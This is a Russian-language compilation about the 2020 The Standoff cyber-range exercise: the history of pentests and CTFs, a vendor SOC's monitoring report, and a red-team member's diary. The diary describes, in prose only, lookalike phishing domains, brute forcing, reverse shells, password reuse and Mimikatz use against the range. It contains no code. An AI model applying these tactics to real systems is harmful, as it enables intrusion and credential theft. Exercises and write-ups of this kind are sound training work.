The standoff

Потребность в оценке защищенности ИТ-инфраструктуры появилась практически одновременно с компьютерными системами. В 50-е годы прошлого столетия ученые начали предполагать, что на компьютерные системы возможны атаки, а в 1988 году Робертом Моррисом младшимбыл создан первый массовый сетевой червь, который по скромным оценкам нанес ущерб в 96 млн долларов. Тогда общественность всерьез задумалась над угрозой компьютерных атак.

В 1992 году появился первый документ, содержащий правила управления ИБ в компании, который впоследствии превратился во всем известный ISO/IEC 17799. На основании этого документа стали проводиться аудиты для выявления несоответствий. Вот только аудиты эти помогали убедиться, что системы обеспечения информационной безопасности в компании соответствуют установленным на бумаге (в политиках, регламентах) требованиям, а не защищают от реальных киберугроз. Причем сама проверка проводилась преимущественно в форме опроса сотрудников.

Спустя десять лет появилась методология оценки рисков, которая направила сообщество на путь поиска инцидентов, которые могли бы произойти, и выявления наиболее подходящих путей их предотвращения.Вначале оценка рисков происходила опять же только на бумаге, но затем эксперты стали проводить практический анализ защищенности информационных систем и тестирование на проникновение, для того чтобы корректно верифицировать риски.

Тестирование на проникновение (пентест) это проверка возможности получения злоумышленником несанкционированного доступа к ИТ-ресурсам компании. Пентестеры ищут уязвимые места в системе и демонстрируют возможность проведения атак, моделируя действия хакеров. Формальной эту проверку уже не назовешь. Однако у современного пентеста есть существенный недостаток: он всегда ограничен списком ресурсов, которые можно ломать, но самое главное он ограничен в сценариях поведения атакующих из-за невозможности влиять на реальную инфраструктуру. Есть перечень действий, которые для пентестеров под запретом, как правило, он прописан в договоре. Например, нельзя переводить миллиард с банковского счета, даже если есть такая возможность, или останавливать турбину на теплоэлектростанции.

Эти запреты связаны с тем, что компании боятся необратимости последствий, вызванных моделированием кибератак. Из-за этих ограничений пентест, как правило, заканчивается либо проникновением в локальную сеть компании, либо получением доступа к учетной записи администратора домена. И все. Только демонстрация гипотетических возможностей злоумышленников. И то без демонстрации последствий, ведь доводить атаку до конца запрещено. Это минус для всех сторон: для экспертов ИБ, которые не могут предоставить доказательства своих слов, лишь предполагая, к чему приведут действия хакеров; для службы ИБ компании, которая не может проверить, работают ли меры по противодействию атакующим; для руководства компании, которое может не доверять гипотетическим угрозам.

Еще один недостаток есть во всех перечисленных выше методах. В них не принимается во внимание человеческий фактор: сотрудники службы ИБ не могут оказать сопротивление пентестерам и остановить атаку, а сами пентестеры находятся в тепличных условиях они действуют открыто. Уровень зрелости ИБ в компаниях зачастую невысок, поэтому иногда работа пентестеров и вовсе сводится к подбору учетных данных администратора. В итоге пентестерам сложно развиваться в экспертном плане, им нет смысла совершенствовать свои методы и скрываться от службы ИБ, то есть действовать как реальный хакер, который всегда старается остаться незамеченным. Сотрудники службы мониторинга обычно тоже не принимают участия в пентестах, не анализируют действия пентестеров.

Тестирование на проникновение в режиме Red Team это способ приблизиться к условиям реальной атаки. В рамках Red Team эксперты ИБ имитируют целенаправленные атаки на компанию. В отличие от пентеста служба ИБ оказывает противодействие и тем самым повышает свою готовность к реагированию на киберугрозы. Однако слабой стороной Red Team аналогично пентесту является использование реальной инфраструктуры компании, поскольку вновь невозможно реализовать риск до конца.

Поэтому среди экспертов ИБ так популярны соревнования Capture the Flag (CTF). На CTF-площадках участники могут искать уязвимости в сервисах и использовать их для развития векторов атак на другие команды без негативного влияния на бизнес-функции компаний. Кроме того, эти соревнования отличный способ обучения экспертов ИБ (исследователей, пентестеров, участников Red Team и Bug Hunter). И если раньше бизнес не относился серьезно к CTF, считая это лишь развлечением, то сейчас мы видим, что многие общепризнанные эксперты ИБ, которые теперь занимают высокие должности, когда-то принимали участие в CTF. Правда, соревнования за более чем 20-летнюю историю преобразились.

До 2010 года CTF-соревнования были далеки от реальной жизни и инфраструктуры, уязвимости искусственны, а результат игры неприменим для бизнеса. Есть два формата проведения CTF:

• Task-based, в котором требуется решать отдельные задачи и получать очки за правильные ответы (флаги).

• Attackdefense, в котором участники получают идентичные серверы с набором уязвимых сервисов (приложений), не связанных между собой. Задача каждой команды заключается в том, чтобы найти уязвимости, устранить их на своем сервере и воспользоваться ими для получения конфиденциальной информации (флагов) у соперников.

Во время соревнований участники отрабатывают навыки быстрого поиска и закрытия уязвимостей, они учатся работать в команде, развиваются как эксперты. Сегодня работодатели приветствуют опыт в CTF как для пентестеров, так и для специалистов службы ИБ и SOC. Компании даже сами устраивают соревнования, например Trend Micro с 2015 года, Google с 2016 года. Кроме того, появились публичные программы bug bounty, в которых любой желающий может протестировать сервисы и продукты известных компаний и получить денежное вознаграждение за выявленные уязвимости. Так, за zero-click-уязвимость с исполнением кода на ядре компания Apple готова заплатить 1 млн долларов.

В 2010 году НАТО впервые провела открытые соревнования Locked Shields, в которых столкнулись Red Team (атакующие) и Blue Team (защитники). С 2001 года подобные соревнования под названием Cyber Defense Exercise проводило Агентство национальной безопасности США, но только для учащихся военных академий США. Формат таких соревнований не похож на CTF, это киберучения, эмулирующие реальный мир. В киберучениях применяются ИТ-системы, выполняющие бизнес-процессы, присущие реальным компаниям. Так, в декабре 2020 года Европейское агентство по сетевой иинформационной безопасности(ENISA) проведет Cyber Europe 2020, в котором организаторы смоделируют сценарии, касающиеся здравоохранения.

Движение бизнеса в сторону практической безопасности прозрачной, результативной и обоснованной привело к абсолютно новому формату соревнований. Этим форматом стали киберучения, в которых одновременно могут принять участие все специалисты компьютерной безопасности: пентестеры, исследователи, сотрудники службы ИБ и центра мониторинга. Сценарии атак для киберучений могут быть автоматизированы, а могут реализовываться с привлечением Red Team, состоящей из экспертов ИБ. Привлечение нескольких команд атакующих позволяет улучшить подготовку сотрудников службы ИБ и SOC, поскольку у них появляется возможность проработать больше техник и сценариев атак.

С появлением киберполигона The Standoff у сообщества появилась среда для моделирования кибератак, оценки значимости ресурсов и реализуемости рисков на цифровом макете реального города. В инфраструктуру города заложены живые бизнес-сценарии нефтяной компании, ТЭЦ, подстанции, химического завода, аэропорта, банка, железной дороги, морского порта, а значит, участники столкнутся с настоящим оборудованием и сервисами, используемыми в этих компаниях. The Standoff это уникальная возможность довести вектор атаки до конца и посмотреть, к чему это приведет: будет ли украден миллиард и надолго ли останется город без электричества после выхода из строя паровой турбины ТЭЦ. При проектировании The Standoff были использованы реальные контроллеры, которые используются на идентичных объектах критически значимой инфраструктуры, а значит, у экспертов ИБ есть возможность протестировать сценарии атак до конца. Если атака будет успешной и электростанция остановится, значит, она остановилась бы и в реальной жизни.

С развитием киберполигонов у компаний начинает появляться возможность как можно точнее моделировать собственую инфраструктуру, а значит, оценка рисков и последствий выходит на новый уровень. Пока хакеры совершенствуют свои методы атак, компании повышают уровень зрелости в сфере ИБ и отрабатывают техники реагирования на киберинциденты. Все специалисты компьютерной безопасности от администраторов до пентестеров улучшают свои навыки не в искусственном окружении, а в реалистичной среде, повторяющей и инфраструктуру, и бизнес-процессы компаний. А это значит, что завтра враг уже не пройдет.

Изучить киберполигон The Standoff вживую вы сможете уже завтра 12 ноября. The Standoff стартует в онлайн-формате и продлится в этом году целых шесть дней. Помимо активностей, связанных с кибер-битвой, вы сможете послушать доклады лучших экспертов в области практической кибербезопасности со всего мира: более 30 спикеров из России, США, стран Европы и Азии поделятся с вами своими последними наработками. Для участия в мероприятии достаточно лишь подключиться к онлайн-платформе.

Автор: Ольга Зиненко, аналитики информационной безопасностиPositiveTechnologies

Мы, я имею в виду экспертный центр безопасности Positive Technologies, традиционно участвуем в противостоянии The Standoff уже несколько лет с 2018-го, когда оно было частью Positive Hack Days. В первый год мы следили за игровыми трендами и событиями, используя SIEM-систему (MaxPatrol SIEM), наше решение для анализа сетевого трафика (PT Network Attack Discovery) и многоуровневую систему выявления и блокировки вредоносного контента (PT MultiScanner). Наша задача состояла в том, чтобы изучить активность участников мероприятия, отследить тактики и инструментарий, ими используемый, и, конечно же, поработать со своими продуктами при повышенной нагрузке. Во время подобных мероприятий наши инструменты используются на полную мощность (и даже еще немного больше): в 2018 году мы двое суток следили за 12 командами, MaxPatrol SIEM пережевывал 20000 EPS, PT Network Attack Discovery переработал более 3 ТБ сетевого трафика, а наша команда определяла успешные атаки, искала следы компрометации (веб-шеллы, удаленные консоли, авторизацию на узлах и проч.), а накопленные знания в дальнейшем в числе прочего легли в основу обновлений наших продуктов.

Год спустя мы увеличили количество глаз нашего SOC на The Standoff в рамках очередного PHDays: к предыдущим трем добавились еще PT Application Firewall и PT Industrial Security Incident Manager. Это позволило нам получить максимально полную картину противостояния во всех элементах инфраструктуры цифрового мегаполиса. Все длилось также двое суток, но следили мы за бльшим числом участников (в тот году было уже 18 команд атакующих, шесть команд защитников и три команды SOC), которые вели очень активную деятельность в городской инфраструктуре. В отличие от команд, мы не вмешивались в события на площадке соревнований, а только лишь наблюдали за ними. Ключевая наша задача состояла в том, чтобы продемонстрировать на практике эффективность современных систем для выявления и расследования киберинцидентов. Ну и конечно же изучить те тактики и техники, которыми пользовались участники, в режиме реального времени, поскольку на The Standoff команды атакующих традиционно используют самые актуальные средства и приемы.

Поэтому, с одной стороны, в преддверии The Standoff в этом году наши задачи, цели и планы нам были ясны не первый раз, как говорится. Однако масштаб мероприятия наложил-таки свой отпечаток на нашу работу.

Purple teaming как он есть

Начать можно с того, что пять с лишним суток (123 часа) непрерывного мониторинга в условиях повышенной активности команд атакующих под силу только правильно собранной команде. В этом году команда нашего SOC включала нескольких специалистов, которые отвечали за непрерывный мониторинг и поддержание процесса threat hunting в наблюдаемом виртуальном окружении, передачу информации работающим посменно аналитикам, составлявшим общую картину происходящего, с помощью которой возможно было строить kill chains реализации конкретных угроз и рисков. Также мы включили в команду экспертов со специфическими скилами: например, в области АСУ ТП, анализа вредоносного кода, написания детектов для выявления действий хакеров в инфраструктуре. Такой состав команды позволяет максимально полно оценивать происходящее, обнаруживать, классифицировать и исследовать вплоть до мельчайших технических деталей все векторы атак в контексте конкретных киберрисков.

Кстати, о рисках за все время The Standoff команде нашего глобального SOC удалось зафиксировать реализацию атакующими 24 киберрисков, притом два из них не были изначально заложены в условия соревнования. Таким образом, для всех участников, включая наш SOC, The Standoff стал еще и тренировкой в части адаптации фокусов мониторинга на лету: после первой фиксации этих дополнительных рисков они были включены в программу, и в дальнейшем отчеты атакующих об их реализации принимались наравне со всеми прочими. Для этого были настроены дополнительные решающие правила на средствах защиты информации.

В ходе всего мероприятия наши специалисты в режиме 24/7 отслеживали события безопасности, происходившие в развернутой инфраструктуре виртуального города (который, однако, имел и физическое воплощение в виде масштабного макета). Иными словами наблюдали за действиями команд атакующих, red teams. А затем на основе полученной информации оценивали качество, полноту и справедливость представленных атакующими отчетов о выполнении того или иного игрового задания. Результатом этой постоянной работы стала полная хронология происходящего, которая затем использовалась жюри как некий базовый справочник, а также чтобы своевременно предоставлять информацию профессиональному сообществу, наблюдавшему за происходящим на портале The Standoff. Примерно таким же образом осуществлялась оценка полноты сведений, представленных командами защитников, blue teams, уже в их собственных отчетах о зафиксированных инцидентах.

Ну и наконец, по сути своей The Standoff представляет собой, среди прочего, масштабный purple teaming то есть некую синергию между командами красных и синих, позволяющую первым проверить подготовленные ими либо найденные на лету новые тактики и техники атак, а вторым научиться эти атаки выявлять и быстро разрабатывать соответствующие методы и средства контроля. А перед нашим SOC стояли ровно такие же задачи в отношении нашей продуктовой линейки, которая была задействована почти в полном составе.

Инструментарий всевидящего ока

Итак, на каких технологиях работал наш SOC?

Защита периметровых сервисов (сервисов так называемой демилитаризованной зоны) и мониторинг атак на них были построены на базе PT Application Firewall. Сердцем нашего SOC стала система MaxPatrol SIEM, к которой в качестве источников событий были подключены почти все узлы информационной инфраструктуры нашего виртуального города. Почему почти все? Потому что в сетевых сегментах АСУ ТП мы, по понятным причинам, в большей степени полагались на систему PT Industrial Security Incident Manager. Своеобразным швейцарским ножом специалиста нашего глобального SOC стал PT Network Attack Discovery, в комбинации с SIEM-системой позволяющий проводить глубокий анализ сетевого трафика и выявлять в нем аномалии и вредоносные воздействия как автоматически, так и при непосредственном участии эксперта.

В данном контексте под атакой подразумевается любая зафиксированная нами попытка нелегитимного воздействия на находящиеся под наблюдением системы с целью достижения определенных целей, например с целью получения информации о подсети или доступа с возможностью выполнения команд ОС на конкретном узле. Но в тот момент, когда полученные данные позволяли нам судить о том, что атака оказалась успешной, уже уместно было применять термин инцидент. По зафиксированным же инцидентам впоследствии строились цепочки реализации рисков. Кроме того, в ходе расследования цепочек проводилась привязка атомарных инцидентов к активности различных команд атакующих (атрибуция), в том числе с применением экспериментальных модулей профилирования сетевого поведения.

Ну и, last but not least, оперативно выявлять атаки, связанные с применением социальной инженерии, в том числе фишинга, и проводить их анализ позволила система PT Sandbox.

В ходе подготовки такого мероприятия мы и наши коллеги, отвечавшие непосредственно за инфраструктуру, разумеется, столкнулись с определенными сложностями. Необходимо было подружить между собой огромное количество различных технических решений, имитирующих реальные бизнес-процессы виртуального города, скоммутировать подсети, добиться устойчивой работы всех систем. А уже нам как специалистам SOC критически важно было добиться на 100% чистой и стабильной видимости всего, что происходило на полигоне, и при этом снятием, например, сетевого трафика не мешать работающим процессам ни в корпоративных, ни в технологических сетях а также, конечно, ничего не пропустить. Ради этого на проект еще на этапе строительства инфраструктуры со стороны SOC были выделены два архитектора мониторинга, каждый из которых кропотливо, с привлечением профильных специалистов по обнаружению атак на узлах и в сети, проверял сетевую доступность, видимость сетевого трафика во всех сегментах инфраструктуры, фактическую видимость запросов к веб-приложениям в PT AF.

Мы подготовили набор решающих правил для MaxPatrol SIEM, сигнатур для PT ISIM и PT NAD, в том числе экспериментальных, требовавших обкатки как раз в условиях, максимально приближенных к реальным. И львиная доля этих правил и сигнатур будет доступна пользователям наших продуктов в стандартной поставке экспертизы.

Мониторинг в действии

Наши предварительные ожидания что в первые дни противостояния команды атакующих будут в основном заниматься разведкой и только готовиться к серьезным действиям не оправдались. Red teams пошли в бой с первой минуты после старта мероприятия и сохраняли такой напор практически на всем его протяжении. Количество выявленных нашим SOC событий безопасности, которые можно было квалифицировать как инциденты, перевалило за сотню уже к наступлению первой же ночи, и заданный темп впоследствии не снижался, а в последние дни, когда командам особенно важно было стало добрать очков с помощью реализации дополнительных рисков, даже возрос.

К концу противостояния команды защитников смогли объединить в цепочки и зафиксировать более 200 инцидентов (некоторые из них включали инциденты, которые наш глобальный SOC фиксировал как атомарные, в рамках одного сообщения об инциденте) и провести 21 расследование. Что интересно, на расследование отдельных инцидентов у команд защитников иногда уходили считаные минуты, но вот среднее время полноценного расследования составило порядка 11 часов. Команды атакующих реализовали 47% всех заложенных по условиям киберрисков виртуального города от падения колеса обозрения в парке аттракционов до хищения персональных данных пассажиров авиакомпании.

Пока мы отслеживали происходящее на поле боя, выяснилось несколько любопытных моментов. К примеру, команды защитников часто выявляли действия атакующих уже на этапе разведки на конкретном узле или в начале попыток перемещения в сети офиса, но пропускали первичный вектор проникновения, такой как брутфорс с попытками входов, грамотно разнесенными по времени. А наш SOC смог выявить такие инциденты с помощью профилирования поведения пользователей и решающих правил, в которые была заложена логика, учитывающая техники обхода средств защиты, основанные на временных задержках. Кроме того, разработанные нами правила корреляции позволили нашим специалистам определить отдельные действия атакующих в офисах как инциденты ИБ, связав их с первоначальной компрометацией узлов и учетных записей. Подобные действия при отдельном рассмотрении выглядят легитимными, и здесь помогало именно выстраивание цепочки от точек первичного проникновения. Таким же образом нашему SOC удавалось выделять нелегитимные запуски различных утилит, в том числе предназначенных для разведки на узлах и в сети, а также получение доступа к файлам. С помощью нашего решения для глубокого анализа трафика и песочницы мы выявляли успешные попытки фишинговых атак. И безусловно, нашим преимуществом в данном случае стало то, что мы включили в процесс мониторинга экспертов по анализу сетевого трафика. Хочется отдельно подчеркнуть важную при непрерывном мониторинге роль оперативной доработки решающих правил (как минимум дополнение связанных табличных списков), на которых основываются решения о легитимности выявляемых событий. Именно такие гибкие контроли позволили нам ловить атакующих на определенных шагах и далее отслеживать всю их активность. Этот подход доказал свою эффективность и в конечном счете обеспечил нам ряд преимуществ перед играющими командами защитников.

Кому и зачем показан The Standoff

Выводы по итогам The Standoff каждый может сделать для себя сам. Лично для меня мероприятие стало отличным подтверждением того, что сообщество специалистов по информационной безопасности в наше время должно двигаться в сторону постоянного взаимодействия и сотрудничества. Например, в рамках подобных масштабных киберучений производители прикладного ПО и аппаратуры получают отличную возможность проверить свои продукты на прочность под реальным натиском профессионалов из offensive security. Вендоры, сервис-провайдеры и интеграторы в области информационной безопасности опять же проверить в деле свои продукты и свои команды специалистов, взявшись за защиту какого-то из объектов инфраструктуры. По итогам мероприятия все участники получают новые технические данные о продуктах, уязвимостях, о методах и средствах проведения, выявления и предотвращения последствий компьютерных атак, и могут, безусловно, впоследствии применить новый опыт для укрепления безопасности любого реального объекта, а значит помочь нам всем сделать еще один шаг в безопасное будущее.

По итогам The Standoff всей команде PT ESC удалось проверить свои возможности по организации полноценного мониторинга информационной безопасности на действительно сложной инфраструктуре, собрать данные для дальнейшего обучения наших решающих модулей, а также отработать взаимодействие непосредственно SOC с другими подразделениями. Противостояние стало для нас, среди прочего, поводом взглянуть на процессную сторону такого взаимодействия под новым углом.

P.S. Пользуясь случаем, хотел бы еще раз поблагодарить всю команду, работавшую над организацией The Standoff вместе с командой нашего PT ESC, команды экспертов АСУ ТП, базы знаний ИБ, инженеров, отвечавших за внедрение и поддержку продуктов, аналитиков, собиравших отчетные материалы по ходу мероприятия, сказать спасибо нашей PR-команде, отвечавшей за информационную поддержку, и команде маркетинга, готовившей площадку и приносившей голодным сотрудникам SOC еду :) Над проектом работало очень много людей, и очень просто кого-то забыть при этом перечислении, но знайте мы обо всех вас помним и очень вам благодарны.

Автор: Павел Кузнецов, заместитель директора экспертного центра безопасности (PT Expert Security Center), Positive Technologies

За 6 дней киберполигона The Standoff атакующие вывели из строя системы аэропорта, парка развлечений, химического завода и нефтедобывающей компании. Потери понесли банк и деловой центр.

В четверг, 10 декабря в 14:00 эксперты Positive Technologies раскрутят цепочки нескольких атак, расскажут, как хакерам удалось взломать системы и покажут, как продукты Positive Technologies детектировали действия атакующих.

Вебинар будет интересен сотрудникам SOC, специалистам по ИБ и пользователям продуктов Positive Technologies: MaxPatrol SIEM, PT Application Firewall, PT NAD, PT Sandbox, PT ISIM.

Вебинар бесплатный, для участия необходимо зарегистрироваться.

Привет, наш дорогой читатель!

Хочу представиться: меня зовут Станислав (@clevergod), я являюсь вице-капитаном команды Codeby.net, и этой статьей мы начинаем цикл из 3х-4х материалов, посвящённых нашему участию вкиберполигоне The Standoff.

По своей старой привычке, постараемся без эмоционально описать всю боль, слезы и радость прошедшего для нашей команды удивительного 123-часового марафона под названием The Standoff 2020.

В этой статье мы расскажем, почему грамотная подготовка - это больше половины успеха и почему так важно организовать взаимодействие ни разунепентест-команды в рамках одного отдельно взятого проекта.

Попробуем передать по шагам атмосферу, но поверьте 5 суток безудержного веселья можно описывать в бесконечном цикле статей или даже снять экшн-сериал

Кто такие Codeby - форум энтузиастов, неравнодушных ребят, проживающих в различных странах и регионах, которых объединяет желание к саморазвитию и безвозмездному обучению молодого поколения специалистов в различных областях деятельности как ИТ, так и информационной безопасности.

P.S. - Хочу сказать, что мы с кэпом (BadBlackHat) очень долго шли к этой победе, преодолевая один барьер за другим, отдавая все силы и ресурсы для того, чтобы наша общая мечта сбылась.

Внимание, статья содержит много скринов!

The Standoffэто уникальная киберсреда, созданная экспертами по ИТ и ИБ для безопасного развития IT-инфраструктуры, которая позволяет смоделировать цифрового двойника современного мегаполиса и продемонстрировать, как киберпреступники могут повлиять на его высокотехнологичную инфраструктуру. Виртуальный город The Standoff содержит те же аппаратные и программные компоненты со всеми имеющимися уязвимостями, что и настоящий город. В этом году здесь были воссозданы аэропорт, морской порт, железная дорога, деловой центр, банк, парк развлечений, городские системы (светофоры и уличное освещение), система телерадиовещания, нефтедобывающая станция, электроподстанция, газораспределительная станция, тепловая электростанция, ветроэлектрическая установка, нефтехимический завод.

На платформе The Standoff специалисты по киберзащите (blueteams 6 команд) и нападающие (redteams 29 команд) разыгрывают целый спектр реальных сценариев кибератак, имитируют полные циклы тестирования.

Оговорюсь, The Standoff, как концепция, вырос из противостояния, которое несколько лет проводилось в рамках международногофорума Positive Hack Days, в котором мы участвовали год назад (в 2019-м). И о том, как прошло наше знакомство с мероприятием впервые, почему мы с 5-го места опустились на 12-е и о планах подготовки - можете прочестьв этой статье.

В целом, задачи атакующих в этом году были понятными: нарушить нормальное состояние этого большого и красивого виртуального города или по-другому реализовать бизнес риски, к примеру:

• украсть персональные данные пользователей или документы с компьютера топ-менеджера;

• вывести все деньги со счетов клиентов банка;

• нарушить багажную ленту в аэропорту;

• отодвинуть трап в момент высадки пассажиров;

• разлить нефть, остановить производство;

• выключить светофоры;

• устроить железнодорожную аварию;

... и иные риски заложенные, а также не предусмотренные организаторами. Помимо этих задач, так же хакерам была поставлена задача найти как можно больше уязвимостей за награду (программа bug bounty).

#УдалЁнка

Итак, в начале текущего, не побоюсь этого слова, ковидного года, мы попали в 15 отобранных команд и начали предпринимать попытки подготовки к мероприятию, учитывая все прошлогодние "косяки и шишки".

Организаторы поставили условия обязательного присутствия в команде некоего ментора (публичную личность, ранее имеющую опыт участия в мероприятии и не участвующую в этом году) иии нам с кэпом больше в голову не пришло ничто иное, как пригласить нашего товарища Батыра, ныне успешного бизнесмена и технический директора Казахстанских компанийNitroTeam и Spectre, Батыржан Тютеев(@b4trjan) ответил нам положительно, и мы были счастливы принять его в нашу команду нашим ментором и экскурсоводом.

Но, Вы уже, наверное, слышали, что первоначальная дата мероприятия (11 марта)была перенесена на осень 2020 года.

Тут вся наша запланированная подготовка была отброшена в "долгий ящик", вся собранная команда без единого дня подготовки разбежалась по своим делам.
Я (@clevergod) занимался подготовкой к OSCP экзамену, привлекал Тимура (@BadBlackHat) и еще нескольких ребят к решению ряда тасков на различных CTF-площадках, таких как HackTheBox, priviahub, TryHackMe.

Делали работу и проекты, уроки с детьми, наблюдали за ситуацией в стране и мире, а так же за коллапсами, которые возникали локально в Казахстане, Киргизии, России, Украине, Белоруссии. Но в один момент меня охватил жар а что, если организаторы реально сдержат данное ими слово и кибер-битва пройдет в режиме удалЁнки, что на фоне всеобщей финансовой расхлябанности казалось несбыточным в текущем году.

И вот она,новость:

После этого анонса мы с Тимуром, как истинные аксакалы, за полтора месяца до мероприятия начали думать, а что собственно делать то?! Мы ведь не готовились вовсе, никаких сходок и игр в атак-дефенс не было. Так же хочу заметить, что на тот момент времени мы не знали регламента, состава команд, но начали потихоньку думать об участии.

Поучаствовали в конкурсе от организаторов 18 сентября, я выиграл какие-то "ништяки" и отказался от них ввиду того, что Казахстан наш любимый в очередной раз "запаковали наглухо" (Arkady Samsonov, личный привет тебе).

Пробежались по нашим прошлогодним заметкам и поняли, что самым неожиданным для нашей команды в прошлом году было очное знакомство друг с другом, как бы это дурно не звучало. Но парадокс ситуации ровно в том, что все, кто участвовал ранее до нас и побеждал - это достаточно крупные и именитые компании, штат участников в которых был огромен и они не просто знакомы между собой, они выполняли реальные проекты друг с другом, и вопросы инструментария, чек-листов и иные орг. моменты у них были реализованы на уровне ВНД и ДНК.

И вплоть до 7 ноября вся наша команда находились в напряжении ожидая вердикт от организаторов по составу команд. И да, за 5 дней до старта нас включили последними в список участников!

Но мы знаем каждого из участников команды нашего форума, их сильные и слабые стороны, и сыграны мы именно в режиме "удалЁнки", нужно лишь немного реструктурировать вектор подготовки и найти инструмент для аккумуляции данных, шлифануть навыки удержания захваченной точки (тут нам очень помог сервисKing of the Hill (KoTH).

Со слезами на глазах вспоминаю 2019 год, когда мы реализовали 1-Day одного сервиса, с удивлением обнаружили, что нас там, мягко говоря, не ждали эти мастодонты, которые властвовали всеми офисами и делали все, чтобы наши бэк-коннекты были уничтожены, даже не успев отработать.

В процессе организационных моментов после очередной новости о том, что один из наших топовых багхантеров Рамазан (r0hack) выбывает из гонки в рамках нашей команды и будет участвовать за "своих DeteAct", а также, при объявлении новостио новом регламенте в режиме удаленки- 30 красных, 5 синих и 6 VPN-коннектов на атакующую команду, часть ребят из прошлого состава тоже оказались за бортом команды по ряду причин.

Почему Бегите глупцы? сказывается опыт участия в прошлом году. Участвовали 15 команд, в результате чего вся ИС (инфраструктура) была довольно часто парализована, организаторы несколько раз ревертили ИС, и наша команда, ровно как и другие участники, находились в локальной сети - не в VPN-туннелях.

Мы и вправду начали переживать за техническую составляющую организаторов, ведь, во-первых, узловая нагрузка на VPN-сервера. во-вторых, простые и банальные сканы сети могут привести к аккумуляции огромного трафика, не говорят уже об автоматизированных скриптах на верхнеуровневых моделях OSI.

Мы поняли, что нужно не просто найти замену, но и укрепить нашу разбросанную по всему СНГ команду. Выделить из всего этого региональную и часовую пользу, привлечь очень нужных узко-занятых и невероятно талантливых ребят. В результате были собраны люди от Европы до Владивостока (привет Доброфлот): Олег(@undefi) с Костаная, Александр(@tgrmofficial), Кирилл(@K1R0Byte) и Мурат(@manfromkz) с Алматы, Magick из Барселоны, Богдан (Mister_Bert0ni) из Украины, постояльцы команды из России и другие. Каждому в команде была отведена отдельная роль. Мы с Тимуром приняли решение разбить людей на 2 команды с 2-мя отдельными суб-капитанами и ветками для общения (и даже заместителями капитанов на всякий случай), отдельными голосовыми каналами и различными задачами, чтобы никто никому не мешал. Параллельно наполняли и аккумулировали данные четко и без помех.

В итоге мы немного перенасытили наш дискорд канал информацией. Как бы ни старались структурировать - все равно получился сумбур, поэтому решили создать отдельный канал, а старым пользовались как личной википедией. Почему именно Discord? - спросите Вы, да потому, что мы с рядом ребят пользуемся им достаточно давно, и ни разу не геймеры. Это единственная площадка, где можно писать тексты, кидать скрины, говорить голосом и стримить свой экран без каких-либо потерь в качестве (ни в одной букве моих текстов нет проплаченной рекламы, только полезные заметки).

Поиграли несколько раз, используя этот чат в дискорде на нескольких площадках, собираясь единовременно в лучшем случае по 2-6 человек. Вот как он выглядел - наш дискорд:

#Боль первая

За 2 дня до начала была развернута большая, для нас лично, ИС на "забугорных дедиках" и "казахских серверах" (Александр А., спасибо за железо):

• У нас были сканеры уязвимостей "всех сортов и марок" (намеренно не упоминаю вендоров);

• Различные сервисы и службы для коммуникации;

• Фишинг-сервисы с отдельно купленными заранее доменными именами, созвучными с оф. сайтом конференции и организаторов;

• Белые IP-адреса (Сергей Д., спасибо за интернет);

• Различные самописные скрипты и инъекции

• Брут и прокси сервера и др.

Почти за все это отвечал в техническом плане 1 человек - Кирилл, за что ему лично низкий поклон.

Самое смешное, что за пару часов до начала мы запутались, настраивая VLAN-ы, и уронили Ethernet интерфейс с выходом в интернет на одном из серверов с ESXi, а сам сервер на тот момент уже стоял в Костанайском ЦОДЕ.

И как Вы, наверное, догадываетесь - Костанайскую область и сам г. Костанай изолировали, в очередной раз,оградив подступы и подъезды города кордонами. Наш Олег, пробрался-таки к серверу спустя 6 часов и "передернул" ну да ладно, это про сетевой интерфейс сказано, пошляки :)

Также хотел бы отметить, что у нас был "козырь в рукаве" - это новая веха в тестировании на проникновение, платформа автоматизации пентеста PenTera от Pcysys(Citum и Axxtel привет), на которую мы очень сильно надеялись до начала марафона. В 98% сетей в L2, даже сильно заVLanенных, она показывала невероятные результаты!

#Боль вторая

За ночь до начала соревнований организаторы присылают нам данные VPN-туннеля и это, господа,L2tp + IPSEC. Да, представьте себе в 21 веке

Мы были в ужасе, почему-то рассчитывая, что к нам прилетят конфиги OpenVPN - видимо мы заигрались на современных CTF-площадках.

Ну так вот, боль заключается в том, что мы находились в часовых поясах от -7 GMT до +10 GMT, вдобавок, уже неделю как развернули PFSence и настроили маршрутизацию, прописали правила для бек-коннектов (Бинд и реверс шеллы), создали, настроили и раздали под всех персональные конфиги, под которые были написаны правила, проверенные на CTF-площадках для каждого. И представьте себе, из-за отсутствия поддержки устаревших протоколов PFSence и OpenSence, мы за ночь должны были придумать аналог, а их на виртуальной среде не так уж много (к примеру, - MikrotikOS, который, к слову, не совсем бесплатный), переписать все рулы, проверить хоть как-то и раздать всем.

#Начало 12.11.2020

Начали мы довольно шустро, без склок и эмоций, без паники и излишних рассуждений. Каждый в команде понимал свою роль, шли четко и позиционно. Пришлось, конечно, вначале попотеть изрядно, когда увидели целую череду принятых очей соперников на дашборде.

Пытались акцентировать внимание на действительно большой инфраструктуре, находили векторы, осуществляли RCE и старались не сдавать их, а всё же осуществить максимальный закреп. Но без ошибок не обошлось

Вошли в 120 подсеть, используя "любимые" пароли организаторов и RDG от Microsoft, (к слову это был тот самый "хваленый" Банк), и на расслабоне допустили роковую ошибку - запустили Mimikatz, за что были немедленно выставлены за пределы подсети.

Большую часть проблем в первые 2-3 суток для нас лично представили именно SOC и защитники, которым нужно отдать должное и похвалить, но и без нареканий некоторых "синих" не обошлось. К примеру, самый веселый и озорной хост, с которым бились не только мы, но и другие команды в 80 подсети (BBG.GQS офис 4), окрестили в "групповой". Ниже поясню почему.

Вот мы видим дыру:

Вот он код:

Код правят на лету:

И мы не можем литься, как раньше, Attack Detect! ишь ты:

Спустя огромное количество времени и использованных умений обхода, находим другую уязвимость, получаем рута:

И тут же отлуп И так продолжалось достаточно долго. У нас на этот хост даже был отдельно выделенный человек-мастодонт, который играл в "короля горы" (об этом термине Вы поймете в продолжении статьи или взглянув на изображение ниже) в течении почти 2 суток, отвлекаясь на другие, не менее интересные вектора. В итоге в капитанском чате кто-то скинул такой вот мем, который не просто повеселил нас, но и придал сил и наградил всю команду зарядом положительных эмоций, которых так не хватало, спасибо тебе автор изображения:

Также были 247 хост в 40 подсети и 135 хост в 20 подсети - во всех случаях в первые двое суток все успешно проэксплуатированные точки входа и привески были запатчены, причем на одной из машин было достаточно четко видно, что привеска до рута не получить, но код правили с диким шорохом, и это точно были защитники.

